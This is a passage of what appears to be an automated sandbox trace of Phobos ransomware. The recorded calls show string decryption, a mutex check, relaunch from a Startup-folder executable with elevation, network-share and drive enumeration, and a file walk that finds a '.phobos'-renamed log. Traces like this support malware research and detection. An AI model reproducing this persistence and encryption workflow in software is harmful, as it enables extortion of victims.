(hKey=0x81cf60, dwParam=0x1, pbData=0xe1f944, dwFlags=0x0) returned 1 [0139.574] CryptDecrypt (in: hKey=0x81cf60, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe7b0b0, pdwDataLen=0xe1f910 | out: pbData=0xe7b0b0, pdwDataLen=0xe1f910) returned 1 [0139.574] CryptDestroyKey (hKey=0x81cf60) returned 1 [0139.574] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe7b0b0 | out: hHeap=0xe70000) returned 1 [0139.574] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xe79338, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0139.574] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe78ff0 | out: hHeap=0xe70000) returned 1 [0139.574] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe79220 | out: hHeap=0xe70000) returned 1 [0139.575] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xe1f9c4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xe1f9c4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0139.575] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe79338 | out: hHeap=0xe70000) returned 1 [0139.575] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x40) returned 0xe7b6d8 [0139.575] CryptImportKey (in: hProv=0x7868d8, pbData=0xe1f950, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe1f9b8 | out: phKey=0xe1f9b8*=0x81cf20) returned 1 [0139.575] CryptSetKeyParam (hKey=0x81cf20, dwParam=0x1, pbData=0xe1f9a0, dwFlags=0x0) returned 1 [0139.575] CryptDecrypt (in: hKey=0x81cf20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe7b6d8, pdwDataLen=0xe1f96c | out: pbData=0xe7b6d8, pdwDataLen=0xe1f96c) returned 1 [0139.575] CryptDestroyKey (hKey=0x81cf20) returned 1 [0139.575] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x34) returned 0x3724010 [0139.575] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773001") returned 0x508 [0139.575] WaitForSingleObject (hHandle=0x508, dwMilliseconds=0x0) returned 0x102 [0139.575] CloseHandle (hObject=0x508) returned 1 [0139.575] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe7b6d8 | out: hHeap=0xe70000) returned 1 [0139.575] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x3724010 | out: hHeap=0xe70000) returned 1 [0139.575] Sleep (dwMilliseconds=0x3e8) Thread: id = 150 os_tid = 0xdcc [0118.874] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x10) returned 0xe71230 [0118.874] CryptImportKey (in: hProv=0x7868d8, pbData=0x101f848, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x101f8b0 | out: phKey=0x101f8b0*=0x799608) returned 1 [0118.874] CryptSetKeyParam (hKey=0x799608, dwParam=0x1, pbData=0x101f898, dwFlags=0x0) returned 1 [0118.874] CryptDecrypt (in: hKey=0x799608, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe71230, pdwDataLen=0x101f864 | out: pbData=0xe71230, pdwDataLen=0x101f864) returned 1 [0118.874] CryptDestroyKey (hKey=0x799608) returned 1 [0118.874] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x20a) returned 0xe71248 [0118.874] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x50) returned 0xe71460 [0118.874] CryptImportKey (in: hProv=0x7868d8, pbData=0x101f824, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x101f88c | out: phKey=0x101f88c*=0x799288) returned 1 [0118.874] CryptSetKeyParam (hKey=0x799288, dwParam=0x1, pbData=0x101f874, dwFlags=0x0) returned 1 [0118.874] CryptDecrypt (in: hKey=0x799288, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe71460, pdwDataLen=0x101f840 | out: pbData=0xe71460, pdwDataLen=0x101f840) returned 1 [0118.874] CryptDestroyKey (hKey=0x799288) returned 1 [0118.874] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x759a0000 [0118.875] GetProcAddress (hModule=0x759a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x759b6b30 [0118.875] Wow64DisableWow64FsRedirection (in: OldValue=0x101f8d4 | out: OldValue=0x101f8d4*=0x0) returned 1 [0118.875] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71460 | out: hHeap=0xe70000) returned 1 [0118.875] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xe71248, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ph_exec.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\ph_exec.exe")) returned 0x59 [0118.931] ShellExecuteExW (in: pExecInfo=0x101f87c*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ph_exec.exe", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x101f87c*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ph_exec.exe", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1 [0125.597] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x50) returned 0xe79498 [0125.597] CryptImportKey (in: hProv=0x7868d8, pbData=0x101f830, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x101f898 | out: phKey=0x101f898*=0x81d0e0) returned 1 [0125.597] CryptSetKeyParam (hKey=0x81d0e0, dwParam=0x1, pbData=0x101f880, dwFlags=0x0) returned 1 [0125.597] CryptDecrypt (in: hKey=0x81d0e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe79498, pdwDataLen=0x101f84c | out: pbData=0xe79498, pdwDataLen=0x101f84c) returned 1 [0125.597] CryptDestroyKey (hKey=0x81d0e0) returned 1 [0125.597] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x759a0000 [0125.597] GetProcAddress (hModule=0x759a0000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x759b6b50 [0125.597] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0125.597] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe79498 | out: hHeap=0xe70000) returned 1 [0125.597] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71248 | out: hHeap=0xe70000) returned 1 [0125.597] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71230 | out: hHeap=0xe70000) returned 1 Thread: id = 151 os_tid = 0xdd4 Thread: id = 152 os_tid = 0xe10 Thread: id = 153 os_tid = 0xe18 Thread: id = 154 os_tid = 0xe1c Thread: id = 155 os_tid = 0xe20 Thread: id = 156 os_tid = 0xe24 Thread: id = 157 os_tid = 0xe28 Thread: id = 170 os_tid = 0xeec Thread: id = 171 os_tid = 0xef0 [0124.036] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x21a) returned 0xe7b4b0 [0124.036] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x28) returned 0xe75370 [0124.036] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x4c0 [0124.036] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x4c4 [0124.036] GetComputerNameW (in: lpBuffer=0xe7b4c0, nSize=0x38bfe8c | out: lpBuffer="NQDPDE", nSize=0x38bfe8c) returned 1 [0124.036] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x20) returned 0xe755a8 [0124.036] GetLastError () returned 0xcb [0124.036] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x214) returned 0xe78d58 [0124.037] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x759a0000 [0124.037] GetCurrentThreadId () returned 0xef0 [0124.037] SetLastError (dwErrCode=0xcb) [0124.037] GetLastError () returned 0xcb [0124.037] SetLastError (dwErrCode=0xcb) [0124.037] GetLastError () returned 0xcb [0124.037] SetLastError (dwErrCode=0xcb) [0124.037] GetLastError () returned 0xcb [0124.037] SetLastError (dwErrCode=0xcb) [0124.037] GetLastError () returned 0xcb [0124.037] SetLastError (dwErrCode=0xcb) [0124.037] GetLastError () returned 0xcb [0124.037] SetLastError (dwErrCode=0xcb) [0124.037] GetLastError () returned 0xcb [0124.037] SetLastError (dwErrCode=0xcb) [0124.037] GetLastError () returned 0xcb [0124.037] SetLastError (dwErrCode=0xcb) [0124.037] GetLastError () returned 0xcb [0124.037] SetLastError (dwErrCode=0xcb) [0124.037] GetLastError () returned 0xcb [0124.037] SetLastError (dwErrCode=0xcb) [0124.037] GetLastError () returned 0xcb [0124.037] SetLastError (dwErrCode=0xcb) [0124.037] GetLastError () returned 0xcb [0124.037] SetLastError (dwErrCode=0xcb) [0124.038] GetLastError () returned 0xcb [0124.038] SetLastError (dwErrCode=0xcb) [0124.038] GetLastError () returned 0xcb [0124.038] SetLastError (dwErrCode=0xcb) [0124.038] GetLastError () returned 0xcb [0124.038] SetLastError (dwErrCode=0xcb) [0124.038] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x4000) returned 0x3640048 [0124.038] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x10000) returned 0x3644050 [0124.039] WNetOpenEnumW (in: dwScope=0x1, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x38bfe50 | out: lphEnum=0x38bfe50*=0x7f3770) returned 0x0 [0124.258] WNetEnumResourceW (in: hEnum=0x7f3770, lpcCount=0x38bfe58, lpBuffer=0x3640048, lpBufferSize=0x38bfe48 | out: lpcCount=0x38bfe58, lpBuffer=0x3640048, lpBufferSize=0x38bfe48) returned 0x103 [0124.258] WNetCloseEnum (hEnum=0x7f3770) returned 0x0 [0124.259] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x3640048 | out: hHeap=0xe70000) returned 1 [0124.259] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x3644050 | out: hHeap=0xe70000) returned 1 [0124.259] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x4000) returned 0x37240c0 [0124.260] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x10000) returned 0x3640048 [0124.260] WNetOpenEnumW (in: dwScope=0x4, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x38bfe38 | out: lphEnum=0x38bfe38*=0x7f1da0) returned 0x0 [0124.260] WNetEnumResourceW (in: hEnum=0x7f1da0, lpcCount=0x38bfe40, lpBuffer=0x37240c0, lpBufferSize=0x38bfe30 | out: lpcCount=0x38bfe40, lpBuffer=0x37240c0, lpBufferSize=0x38bfe30) returned 0x103 [0124.260] WNetCloseEnum (hEnum=0x7f1da0) returned 0x0 [0124.260] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x37240c0 | out: hHeap=0xe70000) returned 1 [0124.260] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x3640048 | out: hHeap=0xe70000) returned 1 [0124.261] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x4000) returned 0x37240c0 [0124.261] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x10000) returned 0x3640048 [0124.262] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x38bfe20 | out: lphEnum=0x38bfe20*=0x7f3d48) returned 0x0 [0137.776] WNetEnumResourceW (in: hEnum=0x7f3d48, lpcCount=0x38bfe28, lpBuffer=0x37240c0, lpBufferSize=0x38bfe18 | out: lpcCount=0x38bfe28, lpBuffer=0x37240c0, lpBufferSize=0x38bfe18) returned 0x0 [0137.776] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x4000) returned 0x37280c8 [0137.777] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x10000) returned 0x3714008 [0137.777] WNetOpenEnumW (dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x37240c0, lphEnum=0x38bfde0) Thread: id = 172 os_tid = 0xef4 [0124.120] GetLogicalDrives () returned 0x4 [0124.120] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x40) returned 0xe7b6d8 [0124.121] CryptImportKey (in: hProv=0x7868d8, pbData=0x39ff83c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x39ff8a4 | out: phKey=0x39ff8a4*=0x7b5d60) returned 1 [0124.121] CryptSetKeyParam (hKey=0x7b5d60, dwParam=0x1, pbData=0x39ff88c, dwFlags=0x0) returned 1 [0124.121] CryptDecrypt (in: hKey=0x7b5d60, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe7b6d8, pdwDataLen=0x39ff858 | out: pbData=0xe7b6d8, pdwDataLen=0x39ff858) returned 1 [0124.121] CryptDestroyKey (hKey=0x7b5d60) returned 1 [0124.121] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x28) returned 0xe753a0 [0124.121] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x4f0 [0124.121] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x4f4 [0124.121] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x10) returned 0xe785e8 [0124.121] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0xe) returned 0xe78660 [0124.121] ResetEvent (hEvent=0x4f4) returned 1 [0124.121] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1333b50, lpParameter=0xe785e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f8 [0124.121] CloseHandle (hObject=0x4f8) returned 1 [0124.121] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x10) returned 0xe78648 [0124.121] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0xe) returned 0xe78678 [0124.122] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1333b50, lpParameter=0xe78648, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f8 [0124.122] CloseHandle (hObject=0x4f8) returned 1 [0124.122] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0126.955] CloseHandle (hObject=0x4f4) returned 1 [0126.955] CloseHandle (hObject=0x4f0) returned 1 [0126.955] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe753a0 | out: hHeap=0xe70000) returned 1 [0126.955] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe7b6d8 | out: hHeap=0xe70000) returned 1 Thread: id = 173 os_tid = 0xef8 [0124.131] GetLogicalDrives () returned 0x4 [0124.131] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x40) returned 0xe71490 [0124.131] CryptImportKey (in: hProv=0x7868d8, pbData=0x3b3f84c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3b3f8b4 | out: phKey=0x3b3f8b4*=0x7b5fe0) returned 1 [0124.131] CryptSetKeyParam (hKey=0x7b5fe0, dwParam=0x1, pbData=0x3b3f89c, dwFlags=0x0) returned 1 [0124.131] CryptDecrypt (in: hKey=0x7b5fe0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe71490, pdwDataLen=0x3b3f868 | out: pbData=0xe71490, pdwDataLen=0x3b3f868) returned 1 [0124.131] CryptDestroyKey (hKey=0x7b5fe0) returned 1 [0124.131] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x28) returned 0xe7b720 [0124.131] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x508 [0124.131] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x50c [0124.131] GetLogicalDrives () returned 0x4 [0124.131] Sleep (dwMilliseconds=0x3e8) [0125.277] GetLogicalDrives () returned 0x4 [0125.277] Sleep (dwMilliseconds=0x3e8) [0126.511] GetLogicalDrives () returned 0x4 [0126.511] Sleep (dwMilliseconds=0x3e8) [0127.618] CloseHandle (hObject=0x50c) returned 1 [0127.618] CloseHandle (hObject=0x508) returned 1 [0127.618] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe7b720 | out: hHeap=0xe70000) returned 1 [0127.618] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71490 | out: hHeap=0xe70000) returned 1 Thread: id = 174 os_tid = 0xefc [0124.136] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x38) returned 0xe714d8 [0124.136] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x18) returned 0xe755f8 [0124.136] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x510 [0124.136] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x514 [0124.136] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x518 [0124.136] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x10000) returned 0x3654058 [0124.136] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0x1333979, lpParameter=0x3c3f8c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x51c [0124.137] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0x1333979, lpParameter=0x3c3f8c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x520 [0124.137] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x10000) returned 0x3664060 [0124.138] FindFirstFileW (in: lpFileName="\\\\?\\C:\\*", lpFindFileData=0x3c3f640 | out: lpFindFileData=0x3c3f640*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c3f868, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x7b6120 [0124.138] GetLastError () returned 0x0 [0124.138] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x214) returned 0xe78f78 [0124.138] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x759a0000 [0124.138] GetCurrentThreadId () returned 0xefc [0124.138] SetLastError (dwErrCode=0x0) [0124.138] GetLastError () returned 0x0 [0124.139] SetLastError (dwErrCode=0x0) [0124.139] GetLastError () returned 0x0 [0124.139] SetLastError (dwErrCode=0x0) [0124.139] GetLastError () returned 0x0 [0124.139] SetLastError (dwErrCode=0x0) [0124.139] GetLastError () returned 0x0 [0124.139] SetLastError (dwErrCode=0x0) [0124.139] GetLastError () returned 0x0 [0124.139] SetLastError (dwErrCode=0x0) [0124.139] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x10000) returned 0x3674068 [0124.139] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\*", lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName=".", cAlternateFileName="")) returned 0x7b5d60 [0124.140] FindNextFileW (in: hFindFile=0x7b5d60, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="..", cAlternateFileName="")) returned 1 [0124.141] FindNextFileW (in: hFindFile=0x7b5d60, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Logs", cAlternateFileName="")) returned 1 [0124.141] GetLastError () returned 0x0 [0124.141] SetLastError (dwErrCode=0x0) [0124.141] GetLastError () returned 0x0 [0124.141] SetLastError (dwErrCode=0x0) [0124.141] GetLastError () returned 0x0 [0124.141] SetLastError (dwErrCode=0x0) [0124.141] GetLastError () returned 0x0 [0124.141] SetLastError (dwErrCode=0x0) [0124.141] GetLastError () returned 0x0 [0124.141] SetLastError (dwErrCode=0x0) [0124.141] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x10000) returned 0x3684070 [0124.141] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b61a0 [0124.144] FindNextFileW (in: hFindFile=0x7b61a0, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.144] FindNextFileW (in: hFindFile=0x7b61a0, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb6c4f1, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecb6c4f1, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecbdeca4, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xa7e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="DOWNLE~1.PHO")) returned 1 [0124.144] GetLastError () returned 0x0 [0124.144] SetLastError (dwErrCode=0x0) [0124.144] GetLastError () returned 0x0 [0124.144] SetLastError (dwErrCode=0x0) [0124.144] GetLastError () returned 0x0 [0124.144] SetLastError (dwErrCode=0x0) [0124.144] GetLastError () returned 0x0 [0124.144] SetLastError (dwErrCode=0x0) [0124.144] GetLastError () returned 0x0 [0124.144] SetLastError (dwErrCode=0x0) [0124.145] GetLastError () returned 0x0 [0124.145] SetLastError (dwErrCode=0x0) [0124.145] GetLastError () returned 0x0 [0124.145] SetLastError (dwErrCode=0x0) [0124.145] GetLastError () returned 0x0 [0124.145] SetLastError (dwErrCode=0x0) [0124.145] GetLastError () returned 0x0 [0124.145] SetLastError (dwErrCode=0x0) [0124.145] GetLastError () returned 0x0 [0124.145] SetLastError (dwErrCode=0x0) [0124.145] GetLastError () returned 0x0 [0124.145] SetLastError (dwErrCode=0x0) [0124.145] GetLastError () returned 0x0 [0124.145] SetLastError (dwErrCode=0x0) [0124.145] GetLastError () returned 0x0 [0124.145] SetLastError (dwErrCode=0x0) [0124.145] GetLastError () returned 0x0 [0124.145] SetLastError (dwErrCode=0x0) [0124.145] GetLastError () returned 0x0 [0124.145] SetLastError (dwErrCode=0x0) [0124.145] GetLastError () returned 0x0 [0124.145] SetLastError (dwErrCode=0x0) [0124.145] GetLastError () returned 0x0 [0124.145] SetLastError (dwErrCode=0x0) [0124.145] GetLastError () returned 0x0 [0124.145] SetLastError (dwErrCode=0x0) [0124.145] GetLastError () returned 0x0 [0124.145] SetLastError (dwErrCode=0x0) [0124.145] GetLastError () returned 0x0 [0124.146] SetLastError (dwErrCode=0x0) [0124.146] GetLastError () returned 0x0 [0124.146] SetLastError (dwErrCode=0x0) [0124.146] GetLastError () returned 0x0 [0124.146] SetLastError (dwErrCode=0x0) [0124.146] GetLastError () returned 0x0 [0124.146] SetLastError (dwErrCode=0x0) [0124.146] GetLastError () returned 0x0 [0124.146] SetLastError (dwErrCode=0x0) [0124.146] GetLastError () returned 0x0 [0124.146] SetLastError (dwErrCode=0x0) [0124.146] GetLastError () returned 0x0 [0124.146] SetLastError (dwErrCode=0x0) [0124.146] GetLastError () returned 0x0 [0124.146] SetLastError (dwErrCode=0x0) [0124.146] GetLastError () returned 0x0 [0124.146] SetLastError (dwErrCode=0x0) [0124.146] GetLastError () returned 0x0 [0124.146] SetLastError (dwErrCode=0x0) [0124.146] GetLastError () returned 0x0 [0124.146] SetLastError (dwErrCode=0x0) [0124.146] GetLastError () returned 0x0 [0124.146] SetLastError (dwErrCode=0x0) [0124.146] GetLastError () returned 0x0 [0124.146] SetLastError (dwErrCode=0x0) [0124.146] GetLastError () returned 0x0 [0124.146] SetLastError (dwErrCode=0x0) [0124.146] GetLastError () returned 0x0 [0124.146] SetLastError (dwErrCode=0x0) [0124.146] GetLastError () returned 0x0 [0124.147] SetLastError (dwErrCode=0x0) [0124.147] GetLastError () returned 0x0 [0124.147] SetLastError (dwErrCode=0x0) [0124.147] GetLastError () returned 0x0 [0124.147] SetLastError (dwErrCode=0x0) [0124.147] GetLastError () returned 0x0 [0124.147] SetLastError (dwErrCode=0x0) [0124.147] GetLastError () returned 0x0 [0124.147] SetLastError (dwErrCode=0x0) [0124.147] GetLastError () returned 0x0 [0124.147] SetLastError (dwErrCode=0x0) [0124.147] GetLastError () returned 0x0 [0124.147] SetLastError (dwErrCode=0x0) [0124.147] GetLastError () returned 0x0 [0124.147] SetLastError (dwErrCode=0x0) [0124.147] GetLastError () returned 0x0 [0124.147] SetLastError (dwErrCode=0x0) [0124.147] GetLastError () returned 0x0 [0124.147] SetLastError (dwErrCode=0x0) [0124.147] GetLastError () returned 0x0 [0124.147] SetLastError (dwErrCode=0x0) [0124.147] GetLastError () returned 0x0 [0124.147] SetLastError (dwErrCode=0x0) [0124.147] GetLastError () returned 0x0 [0124.147] SetLastError (dwErrCode=0x0) [0124.147] GetLastError () returned 0x0 [0124.147] SetLastError (dwErrCode=0x0) [0124.147] GetLastError () returned 0x0 [0124.147] SetLastError (dwErrCode=0x0) [0124.148] GetLastError () returned 0x0 [0124.148] SetLastError (dwErrCode=0x0) [0124.148] GetLastError () returned 0x0 [0124.148] SetLastError (dwErrCode=0x0) [0124.148] GetLastError () returned 0x0 [0124.148] SetLastError (dwErrCode=0x0) [0124.148] GetLastError () returned 0x0 [0124.148] SetLastError (dwErrCode=0x0) [0124.148] GetLastError () returned 0x0 [0124.148] SetLastError (dwErrCode=0x0) [0124.148] 